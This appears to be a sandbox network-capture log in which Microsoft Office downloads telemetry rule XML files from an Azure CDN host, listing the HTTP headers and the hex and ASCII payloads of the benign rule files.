Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:17 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 00870788-c01e-000b-155b-3ce255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031217Z-178bfbc474bpnd5vhC1NYC4vr4000000029000000000n689 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:17 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: e845eaf5-101e-008e-5d91-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031218Z-15b8b599d88g5tp8hC1TEByx6w00000000r000000000k3c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031218Z-178bfbc474brk967hC1NYCfu60000000025g00000000d38x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031218Z-178bfbc474bv587zhC1NYCny5w000000025000000000pzgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031218Z-15b8b599d88pxmdghC1TEBux9c00000001200000000030s4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:19 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031219Z-178bfbc474bw8bwphC1NYC38b40000000280000000007fnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:20 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:20 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c2180679-501e-008f-16bc-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031220Z-178bfbc474bp8mkvhC1NYCzqnn00000002ag000000000u8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:20 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:20 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031220Z-178bfbc474bpscmfhC1NYCfc2c0000000110000000004y41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:20 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:20 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031220Z-178bfbc474btvfdfhC1NYCa2en00000002bg00000000pm4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:20 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:20 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031220Z-178bfbc474bmqmgjhC1NYCy16c00000002f0000000009sqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:21 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:21 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:22 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031221Z-174c587ffdfgcs66hC1TEB69cs00000000rg000000008mpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031222Z-178bfbc474bw8bwphC1NYC38b400000002ag0000000007r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
